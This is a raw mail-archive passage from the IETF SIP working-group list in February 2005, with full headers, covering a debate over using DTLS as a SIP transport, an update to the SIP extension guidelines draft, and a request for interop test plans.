megatron.ietf.org with esmtp (Exim 4.32) id 1D1Flp-00046n-FE; Tue, 15 Feb 2005 22:22:33 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1Ffc-0002X4-Qp for sip@megatron.ietf.org; Tue, 15 Feb 2005 22:16:08 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id WAA29300 for ; Tue, 15 Feb 2005 22:16:06 -0500 (EST) Received: from sj-iport-5.cisco.com ([171.68.10.87]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1G0l-0003sJ-V2 for sip@ietf.org; Tue, 15 Feb 2005 22:38:01 -0500 Received: from sj-core-4.cisco.com (171.68.223.138) by sj-iport-5.cisco.com with ESMTP; 15 Feb 2005 19:18:12 -0800 X-BrightmailFiltered: true X-Brightmail-Tracker: AAAAAA== X-IronPort-AV: i="3.90,87,1107763200"; d="scan'208"; a="161725649:sNHT20887972" Received: from mira-sjc5-d.cisco.com (IDENT:mirapoint@mira-sjc5-d.cisco.com [171.71.163.28]) by sj-core-4.cisco.com (8.12.10/8.12.6) with ESMTP id j1G3FXYO028766; Tue, 15 Feb 2005 19:15:34 -0800 (PST) Received: from [192.168.1.100] (che-vpn-cluster-2-60.cisco.com [10.86.242.60]) by mira-sjc5-d.cisco.com (MOS 3.4.6-GR) with ESMTP id AHT86093; Tue, 15 Feb 2005 19:15:32 -0800 (PST) Message-ID: <4212BAD4.6020902@cisco.com> Date: Tue, 15 Feb 2005 22:15:32 -0500 From: Jonathan Rosenberg User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.3) Gecko/20040910 X-Accept-Language: en-us, en MIME-Version: 1.0 To: Cullen Jennings Subject: Re: [Sip] draft-jennings-sip-dtls References: In-Reply-To: Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Scan-Signature: 769a46790fb42fbb0b0cc700c82f7081 Content-Transfer-Encoding: 7bit Cc: "sip@ietf.org" X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 7aafa0432175920a4b3e118e16c5cb64 Content-Transfer-Encoding: 7bit Cullen, What seems missing to me from this is requirements and problem statements. What is DTLS doing for us that we don't get from TLS? Though SIP can run over many different transport protocols, I think experience over time has shown that more choices here is not necessarily a good thing, as SIP has a fair bit of complexity as a result of dealing with the differences between UDP and TCP. As such, I don't think its a good idea to just add more transport protocols to SIP's list of supported ones unless there is a compelling problem that it is solving. Thanks, Jonathan R. Cullen Jennings wrote: > > Nagendra and I put together a draft on using DTLS with SIP. Until it > shows up in the archives you can find it at > > http://scm.sipfoundry.org/rep/ietf-drafts/fluffy/draft-jennings-sip-dtls-00.html > > (there is a .txt version too) > > > The abstract is: > > This draft specifies how to use Datagram Transport Layer Security > (DTLS) as a transport for SIP. DTLS is a new protocol for providing > TLS security over a datagram protocol. > > > ------------------------------------------------------------------------ > > _______________________________________________ > Sip mailing list https://www1.ietf.org/mailman/listinfo/sip > This list is for NEW development of the core SIP Protocol > Use sip-implementors@cs.columbia.edu for questions on current sip > Use sipping@ietf.org for new developments on the application of sip -- Jonathan D. Rosenberg, Ph.D. 600 Lanidex Plaza Director, Service Provider VoIP Architecture Parsippany, NJ 07054-2711 Cisco Systems jdrosen@cisco.com FAX: (973) 952-5050 http://www.jdrosen.net PHONE: (973) 952-5000 http://www.cisco.com _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Tue Feb 15 23:20:48 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA13962 for ; Tue, 15 Feb 2005 23:20:47 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1H1P-0005h9-CS for sip-web-archive@ietf.org; Tue, 15 Feb 2005 23:42:43 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1Gdm-0003jU-Ps; Tue, 15 Feb 2005 23:18:18 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1GUh-0008Tw-SY for sip@megatron.ietf.org; Tue, 15 Feb 2005 23:08:56 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id XAA12671 for ; Tue, 15 Feb 2005 23:08:52 -0500 (EST) Received: from sj-iport-4.cisco.com ([171.68.10.86]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1Gpr-0005L6-OJ for sip@ietf.org; Tue, 15 Feb 2005 23:30:48 -0500 Received: from sj-core-3.cisco.com (171.68.223.137) by sj-iport-4.cisco.com with ESMTP; 15 Feb 2005 20:08:48 -0800 X-BrightmailFiltered: true X-Brightmail-Tracker: AAAAAA== Received: from vtg-um-e2k4.sj21ad.cisco.com (vtg-um-e2k4.cisco.com [171.70.93.57]) by sj-core-3.cisco.com (8.12.10/8.12.6) with ESMTP id j1G48LwN008125; Tue, 15 Feb 2005 20:08:21 -0800 (PST) Received: from [127.0.0.1] ([171.68.225.134]) by vtg-um-e2k4.sj21ad.cisco.com with Microsoft SMTPSVC(6.0.3790.0); Tue, 15 Feb 2005 20:08:21 -0800 User-Agent: Microsoft-Entourage/11.1.0.040913 Date: Tue, 15 Feb 2005 20:08:20 -0800 Subject: Re: [Sip] draft-jennings-sip-dtls From: Cullen Jennings To: Jonathan Rosenberg Message-ID: In-Reply-To: <4212BAD4.6020902@cisco.com> Mime-version: 1.0 X-OriginalArrivalTime: 16 Feb 2005 04:08:21.0743 (UTC) FILETIME=[274487F0:01C513DD] X-Spam-Score: 1.1 (+) X-Scan-Signature: cd3fc8e909678b38737fc606dec187f0 Cc: "sip@ietf.org" X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============1244454051==" Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 1.1 (+) X-Scan-Signature: 4b7d60495f1a7f2e853e8cbae7e6dbfc > This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. --===============1244454051== Content-type: multipart/alternative; boundary="B_3191342902_3948797" > This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. --B_3191342902_3948797 Content-type: text/plain; charset="US-ASCII" Content-Transfer-Encoding: 7bit Oops - I meant to put that.... There is pretty much one key thing. No one has build an single edge proxy that can terminate 100k to 1M connections to UAs using TLS. In theory it is possible, but in practice it seems hard. The argument is that this will be easier with DTLS. The issue is not the time it takes to do the crypto - session resumption deals with that nicely - it just the issues of dealing with half a million TCP connections to one box. Of course no one has done it with DTLS either :-) I believe the argument we made for SCTP was that adding an extensions for SCTP won't increase the complexity of things that don't support SCTP. I agree the UDP/TCP complexity made SIP more complicated and I agree that sip and sips made things more complicated. I'm not sure I buy that both TLS and TCP made things more complicated. On 2/15/05 7:15 PM, "Jonathan Rosenberg" wrote: > Cullen, > > What seems missing to me from this is requirements and problem > statements. What is DTLS doing for us that we don't get from TLS? > > Though SIP can run over many different transport protocols, I think > experience over time has shown that more choices here is not necessarily > a good thing, as SIP has a fair bit of complexity as a result of dealing > with the differences between UDP and TCP. As such, I don't think its a > good idea to just add more transport protocols to SIP's list of > supported ones unless there is a compelling problem that it is solving. > > Thanks, > Jonathan R. > > Cullen Jennings wrote: > >> > >> > Nagendra and I put together a draft on using DTLS with SIP. Until it >> > shows up in the archives you can find it at >> > >> > >> http://scm.sipfoundry.org/rep/ietf-drafts/fluffy/draft-jennings-sip-dtls-00.h >> tml >> > >> > (there is a .txt version too) >> > >> > >> > The abstract is: >> > >> > This draft specifies how to use Datagram Transport Layer Security >> > (DTLS) as a transport for SIP. DTLS is a new protocol for providing >> > TLS security over a datagram protocol. >> > >> > >> > ------------------------------------------------------------------------ >> > >> > _______________________________________________ >> > Sip mailing list https://www1.ietf.org/mailman/listinfo/sip >> > This list is for NEW development of the core SIP Protocol >> > Use sip-implementors@cs.columbia.edu for questions on current sip >> > Use sipping@ietf.org for new developments on the application of sip --B_3191342902_3948797 Content-type: text/html; charset="US-ASCII" Content-Transfer-Encoding: quoted-printable Re: [Sip] draft-jennings-sip-dtls
Oops - I meant to put that.... There is pretty much one key thing. No one h= as build an single edge proxy that can terminate 100k to 1M connections to U= As using TLS. In theory it is possible, but in practice it seems hard. The a= rgument is that this will be easier with DTLS. The issue is not the time it = takes to do the crypto - session resumption deals with that nicely - it just= the issues of dealing with half a million TCP connections to one box. Of co= urse no one has done it with DTLS either :-)

I believe the argument we made for SCTP was that adding an extensions for S= CTP won't increase the complexity of things that don't support SCTP.

I agree the UDP/TCP complexity made SIP more complicated and I agree that s= ip and sips made things more complicated. I'm not sure I buy that both TLS a= nd TCP made things more complicated.


On 2/15/05 7:15 PM, "Jonathan Rosenberg" <jdrosen@cisco.com>= ; wrote:

Cullen,

What seems missing to me from this is requirements and problem
statements. What is DTLS doing for us that we don't get from TLS?

Though SIP can run over many different transport protocols, I think
experience over time has shown that more choices here is not necessarily a good thing, as SIP has a fair bit of complexity as a result of dealing with the differences between UDP and TCP. As such, I don't think its a
good idea to just add more transport protocols to SIP's list of
supported ones unless there is a compelling problem that it is solving.
Thanks,
Jonathan R.

Cullen Jennings wrote:

>
> Nagendra and I put together a draft on using DTLS with SIP. Until it <= BR> > shows up in the archives you can find it at
>
> http://scm.sipfoundry.org/rep/ietf-drafts/fluffy/draft-= jennings-sip-dtls-00.html
>
> (there is a .txt version too)
>
>
> The abstract is:
>
>    This draft specifies how to use Datagram Transport L= ayer Security
>    (DTLS) as a transport for SIP.  DTLS is a new p= rotocol for providing
>    TLS security over a datagram protocol.
>
>
> ----------------------------------------------------------------------= --
>
> _______________________________________________
> Sip mailing list  https://www1.ietf.org/mailman/listinfo/sip
> This list is for NEW development of the core SIP Protocol
> Use sip-implementors@cs.columbia.edu for questions on current sip
> Use sipping@ietf.org for new developments on the application of sip

--B_3191342902_3948797-- --===============1244454051== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline Content-Transfer-Encoding: 7bit _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip --===============1244454051==-- From sip-bounces@ietf.org Wed Feb 16 02:13:17 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA11444 for ; Wed, 16 Feb 2005 02:13:17 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1JiL-00026M-Ub for sip-web-archive@ietf.org; Wed, 16 Feb 2005 02:35:14 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1JJ1-0007eo-7d; Wed, 16 Feb 2005 02:09:03 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1JEO-000665-67 for sip@megatron.ietf.org; Wed, 16 Feb 2005 02:04:16 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id CAA02815 for ; Wed, 16 Feb 2005 02:04:14 -0500 (EST) Received: from sj-iport-3-in.cisco.com ([171.71.176.72] helo=sj-iport-3.cisco.com) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1JZY-0001un-KR for sip@ietf.org; Wed, 16 Feb 2005 02:26:10 -0500 Received: from sj-core-5.cisco.com (171.71.177.238) by sj-iport-3.cisco.com with ESMTP; 16 Feb 2005 00:16:44 +0000 X-BrightmailFiltered: true X-Brightmail-Tracker: AAAAAA== X-IronPort-AV: i="3.90,88,1107734400"; d="scan'208"; a="226140636:sNHT23220472" Received: from mira-sjc5-d.cisco.com (IDENT:mirapoint@mira-sjc5-d.cisco.com [171.71.163.28]) by sj-core-5.cisco.com (8.12.10/8.12.6) with ESMTP id j1G73cTj002080 for ; Tue, 15 Feb 2005 23:03:39 -0800 (PST) Received: from [192.168.1.100] (che-vpn-cluster-2-60.cisco.com [10.86.242.60]) by mira-sjc5-d.cisco.com (MOS 3.4.6-GR) with ESMTP id AHT95318; Tue, 15 Feb 2005 23:03:37 -0800 (PST) Message-ID: <4212F049.7080108@cisco.com> Date: Wed, 16 Feb 2005 02:03:37 -0500 From: Jonathan Rosenberg User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.3) Gecko/20040910 X-Accept-Language: en-us, en MIME-Version: 1.0 To: sip@ietf.org Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Scan-Signature: f607d15ccc2bc4eaf3ade8ffa8af02a0 Content-Transfer-Encoding: 7bit Subject: [Sip] Update to draft-ietf-sip-guidelines X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: b4a0a5f5992e2a4954405484e7717d8c Content-Transfer-Encoding: 7bit Folks, I've just submitted an update to draft-ietf-sip-guidelines based on comments received from IESG during their review. Until it appears in the archives, you can pick up a copy at: http://www.jdrosen.net/papers/draft-ietf-sip-guidelines-09.txt The following are the main changes to the document: * extensions MUST NOT only function if SIP and media paths are coupled; P-headers are needed in such cases. * defining compact forms is a MAY if the header is expected to be heavily used, and only if they are over 6 characters (previously, it was four). A definition is given for "heavily used". Sigcomp is mentioned as a reason why this is not so important. * previously, the draft said that header field names had to be composed of ascii characters and marks. This is actually wrong. Its been changed to: Header field names are defined by the "token" production in RFC 3261 Section 25.1, and thus include the upper and lowercase letters, the digits 0 through 9, the HYPHEN-MINUS (-), FULL STOP (.), EXCLAMATION MARK (!), PERCENT SIGN (%), ASTERISK (*), LOW LINE (_), PLUS SIGN (+), GRAVE ACCENT (`), APOSTROPHE ('), and TILDE (~) * clarified the definition of "large bodies" - several times the ethernet MTU * added a paragraph discussing interactions between signaling and media security * header field extensions that include URI have to be explicit about which URI schemes can be used * added registration of URI parameters and header field parameters to section on IANA considerations for extensions * the section on writing iana cosniderations metnions whether or not the extension has to be standards track or not to register a particular parameter type (header, option tag, event package, etc.) * RFC 2393 reference updated to RFC 3173 * informational reference added to draft-iab-model. The section on writing overviews also mentions that you should expand acronyms and write this for non-experts in sip Thanks, Jonathan R. -- Jonathan D. Rosenberg, Ph.D. 600 Lanidex Plaza Director, Service Provider VoIP Architecture Parsippany, NJ 07054-2711 Cisco Systems jdrosen@cisco.com FAX: (973) 952-5050 http://www.jdrosen.net PHONE: (973) 952-5000 http://www.cisco.com _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Wed Feb 16 14:07:25 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA28164 for ; Wed, 16 Feb 2005 14:07:25 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1UrX-0003Ou-6P for sip-web-archive@ietf.org; Wed, 16 Feb 2005 14:29:28 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1Sp6-0005sV-E3; Wed, 16 Feb 2005 12:18:48 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1R1j-0004R1-9o for sip@megatron.ietf.org; Wed, 16 Feb 2005 10:23:43 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA22855 for ; Wed, 16 Feb 2005 10:23:40 -0500 (EST) Received: from smtp-relay.tamu.edu ([165.91.143.199] helo=tamu-relay.tamu.edu) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1RMz-0007Zl-6N for sip@ietf.org; Wed, 16 Feb 2005 10:45:42 -0500 Received: from xyzzy-2.tamu.edu (root@xyzzy-2.tamu.edu [165.91.22.26]) by tamu-relay.tamu.edu (8.12.10/8.12.10) with ESMTP id j1GFNbVX070470 for ; Wed, 16 Feb 2005 09:23:38 -0600 (CST) Received: from neo.tamu.edu (nobody@localhost.tamu.edu [127.0.0.1]) by xyzzy-2.tamu.edu (8.12.9/8.12.9) with SMTP id j1GFNbK5017746 for ; Wed, 16 Feb 2005 09:23:37 -0600 (CST) (envelope-from josh02@neo.tamu.edu) Message-Id: <200502161523.j1GFNbK5017746@xyzzy-2.tamu.edu> Date: Wed, 16 Feb 2005 15:23:37 -0000 To: From: "Reola, Joshua S" X-Mailer: TWIG 2.6.2 X-Spam-Score: 0.9 (/) X-Scan-Signature: d17f825e43c9aed4fd65b7edddddec89 Subject: [Sip] SIP Interop Test Plan X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list Reply-To: josh02@neo.tamu.edu List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.9 (/) X-Scan-Signature: de4f315c9369b71d7dd5909b42224370 Hi All, Does anyone know or have a SIP Interoperability test plan (a SIP Proxy internetworked to a PBX environment)? JR _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip From sip-bounces@ietf.org Wed Feb 16 15:35:48 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id PAA20333 for ; Wed, 16 Feb 2005 15:35:48 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1WF5-00016U-Vq for sip-web-archive@ietf.org; Wed, 16 Feb 2005 15:57:52 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1Vdw-0006F7-G9; Wed, 16 Feb 2005 15:19:28 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1VGz-0006Xn-8S for sip@megatron.ietf.org; Wed, 16 Feb 2005 14:55:45 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id OAA11733 for ; Wed, 16 Feb 2005 14:55:43 -0500 (EST) Received: from zcars04f.nortelnetworks.com ([47.129.242.57]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1VcI-0007Jb-H4 for sip@ietf.org; Wed, 16 Feb 2005 15:17:47 -0500 Received: from zrtpd0j7.us.nortel.com (zrtpd0j7.us.nortel.com [47.140.203.25]) by zcars04f.nortelnetworks.com (Switch-2.2.6/Switch-2.2.0) with ESMTP id j1GJtAd19226; Wed, 16 Feb 2005 14:55:11 -0500 (EST) Received: by zrtpd0j7.us.nortel.com with Internet Mail Service (5.5.2653.19) id <1J5A5ZN6>; Wed, 16 Feb 2005 14:55:09 -0500 Message-ID: <1ECE0EB50388174790F9694F77522CCF0186CD80@zrc2hxm0.corp.nortel.com> From: "Francois Audet" To: "'Cullen Jennings'" , "'Jonathan Rosenberg'" Subject: RE: [Sip] draft-jennings-sip-dtls Date: Wed, 16 Feb 2005 14:54:59 -0500 MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2653.19) X-Spam-Score: 0.6 (/) X-Scan-Signature: 9af087f15dbdd4c64ae6bbcdbc5b1d44 Cc: "'sip@ietf.org'" X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============0489298902==" Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.6 (/) X-Scan-Signature: 311e798ce51dbeacf5cdfcc8e9fda21b This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. --===============0489298902== Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C51461.6607FE63" This message is in MIME format. Since your mail reader does not understand this format, some or all of this message may not be legible. ------_=_NextPart_001_01C51461.6607FE63 Content-Type: text/plain I would agree with Jonathan. Yes, some implementations of SIP/TCP have performance issues compared to SIP/UDP, but not necessarily all of them. Also, if we need to address the other problems of UDP transport (like fragmentation, and others), then it is not clear to me that we are saving much in the first place by using UDP/DTLS instead of TCP/TLS. I'd like to see real data before we add yet another thing we'll have to implement... -----Original Message----- From: sip-bounces@ietf.org [mailto:sip-bounces@ietf.org] On Behalf Of Cullen Jennings Sent: Tuesday, February 15, 2005 20:08 To: Jonathan Rosenberg Cc: sip@ietf.org Subject: Re: [Sip] draft-jennings-sip-dtls Oops - I meant to put that.... There is pretty much one key thing. No one has build an single edge proxy that can terminate 100k to 1M connections to UAs using TLS. In theory it is possible, but in practice it seems hard. The argument is that this will be easier with DTLS. The issue is not the time it takes to do the crypto - session resumption deals with that nicely - it just the issues of dealing with half a million TCP connections to one box. Of course no one has done it with DTLS either :-) I believe the argument we made for SCTP was that adding an extensions for SCTP won't increase the complexity of things that don't support SCTP. I agree the UDP/TCP complexity made SIP more complicated and I agree that sip and sips made things more complicated. I'm not sure I buy that both TLS and TCP made things more complicated. On 2/15/05 7:15 PM, "Jonathan Rosenberg" wrote: Cullen, What seems missing to me from this is requirements and problem statements. What is DTLS doing for us that we don't get from TLS? Though SIP can run over many different transport protocols, I think experience over time has shown that more choices here is not necessarily a good thing, as SIP has a fair bit of complexity as a result of dealing with the differences between UDP and TCP. As such, I don't think its a good idea to just add more transport protocols to SIP's list of supported ones unless there is a compelling problem that it is solving. Thanks, Jonathan R. Cullen Jennings wrote: > > Nagendra and I put together a draft on using DTLS with SIP. Until it > shows up in the archives you can find it at > > http://scm.sipfoundry.org/rep/ietf-drafts/fluffy/draft-jennings-sip-dtls-00. html > > (there is a .txt version too) > > > The abstract is: > > This draft specifies how to use Datagram Transport Layer Security > (DTLS) as a transport for SIP. DTLS is a new protocol for providing > TLS security over a datagram protocol. > > > ------------------------------------------------------------------------ > > _______________________________________________ > Sip mailing list https://www1.ietf.org/mailman/listinfo/sip > This list is for NEW development of the core SIP Protocol > Use sip-implementors@cs.columbia.edu for questions on current sip > Use sipping@ietf.org for new developments on the application of sip ------_=_NextPart_001_01C51461.6607FE63 Content-Type: text/html Message
I would agree with Jonathan.
 
Yes, some implementations of SIP/TCP have performance issues compared to SIP/UDP, but not necessarily all of them.
 
Also, if we need to address the other problems of UDP transport (like fragmentation, and others), then it is not clear to me that we are saving much in the first place by using UDP/DTLS instead of TCP/TLS.
 
I'd like to see real data before we add yet another thing we'll have to implement...
-----Original Message-----
From: sip-bounces@ietf.org [mailto:sip-bounces@ietf.org] On Behalf Of Cullen Jennings
Sent: Tuesday, February 15, 2005 20:08
To: Jonathan Rosenberg
Cc: sip@ietf.org
Subject: Re: [Sip] draft-jennings-sip-dtls


Oops - I meant to put that.... There is pretty much one key thing. No one has build an single edge proxy that can terminate 100k to 1M connections to UAs using TLS. In theory it is possible, but in practice it seems hard. The argument is that this will be easier with DTLS. The issue is not the time it takes to do the crypto - session resumption deals with that nicely - it just the issues of dealing with half a million TCP connections to one box. Of course no one has done it with DTLS either :-)

I believe the argument we made for SCTP was that adding an extensions for SCTP won't increase the complexity of things that don't support SCTP.

I agree the UDP/TCP complexity made SIP more complicated and I agree that sip and sips made things more complicated. I'm not sure I buy that both TLS and TCP made things more complicated.


On 2/15/05 7:15 PM, "Jonathan Rosenberg" <jdrosen@cisco.com> wrote:
Cullen,

What seems missing to me from this is requirements and problem
statements. What is DTLS doing for us that we don't get from TLS?

Though SIP can run over many different transport protocols, I think
experience over time has shown that more choices here is not necessarily
a good thing, as SIP has a fair bit of complexity as a result of dealing
with the differences between UDP and TCP. As such, I don't think its a
good idea to just add more transport protocols to SIP's list of
supported ones unless there is a compelling problem that it is solving.

Thanks,
Jonathan R.

Cullen Jennings wrote:

>
> Nagendra and I put together a draft on using DTLS with SIP. Until it
> shows up in the archives you can find it at
>
> http://scm.sipfoundry.org/rep/ietf-drafts/fluffy/draft-jennings-sip-dtls-00.html
>
> (there is a .txt version too)
>
>
> The abstract is:
>
>    This draft specifies how to use Datagram Transport Layer Security
>    (DTLS) as a transport for SIP.  DTLS is a new protocol for providing
>    TLS security over a datagram protocol.
>
>
> ------------------------------------------------------------------------
>
> _______________________________________________
> Sip mailing list  https://www1.ietf.org/mailman/listinfo/sip
> This list is for NEW development of the core SIP Protocol
> Use sip-implementors@cs.columbia.edu for questions on current sip
> Use sipping@ietf.org for new developments on the application of sip

------_=_NextPart_001_01C51461.6607FE63-- --===============0489298902== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline Content-Transfer-Encoding: 7bit _______________________________________________ Sip mailing list https://www1.ietf.org/mailman/listinfo/sip This list is for NEW development of the core SIP Protocol Use sip-implementors@cs.columbia.edu for questions on current sip Use sipping@ietf.org for new developments on the application of sip --===============0489298902==-- From sip-bounces@ietf.org Wed Feb 16 17:16:37 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA03463 for ; Wed, 16 Feb 2005 17:16:37 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1Xoh-0004nC-3w for sip-web-archive@ietf.org; Wed, 16 Feb 2005 17:38:43 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1XIb-0008SR-LY; Wed, 16 Feb 2005 17:05:33 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1D1XGt-0007fn-8s for sip@megatron.ietf.org; Wed, 16 Feb 2005 17:03:47 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA02178 for ; Wed, 16 Feb 2005 17:03:44 -0500 (EST) Received: from natnoddy.rzone.de ([81.169.145.166]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1D1XcA-0004Qk-AQ for sip@ietf.org; Wed, 16 Feb 2005 17:25:49 -0500 Received: from snom.de (p54BFD2D3.dip.t-dialin.net [84.191.210.211]) by post.webmailer.de (8.13.1/8.13.1) with ESMTP id j1GM3Rw9013713; Wed, 16 Feb 2005 23:03:28 +0100 (MET) Content-class: urn:content-classes:message MIME-Version: 1.0 Subject: RE: [Sip] draft-jennings-sip-dtls X-MimeOLE: Produced By Microsoft Exchange V6.5.7226.0 Date: Wed, 16 Feb 2005 23:01:51 +0100 Message-ID: Thread-Topic: [Sip] draft-jennings-sip-dtls thread-index: AcUUaJombtJckzk/QpC8F072BAkG5QACaA6A From: "Christian Stredicke" To: "Francois Audet" , "Cullen Jennings" , "Jonathan Rosenberg" X-Spam-Score: 0.7 (/) X-Scan-Signature: 9e5c23589e6cce06555030c0194c9e2b Cc: sip@ietf.org X-BeenThere: sip@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: Session Initiation Protocol List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============0685188293==" Sender: sip-bounces@ietf.org Errors-To: sip-bounces@ietf.org X-Spam-Score: 0.7 (/) X-Scan-Signature: 1ba0ec39a747b7612d6a8ae66d1a873c This is a multi-part message in MIME format. --===============0685188293== Content-class: urn:content-classes:message Content-Type: multipart/alternative; boundary="----_=_NextPart_001_01C51473.A3DBCBD4" This is a multi-part message in MIME format. ------_=_NextPart_001_01C51473.A3DBCBD4 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Today I would recommend SIP operators to avoid TCP (and that includes TLS) because the processes are simply running out of sockets (think about an ITSP with one million customers). The UDP/DTLS idea would make it reasonable simple to have much more connections and on top have security. And as far as I understood the dtls it finally does solve the fragmentation pain problem. =20 That sounds like a great thing to me. I would vote for dtls! =20 CS ________________________________ From: sip-bounces@ietf.org [mailto:sip-bounces@ietf.org] On Behalf Of Francois Audet Sent: 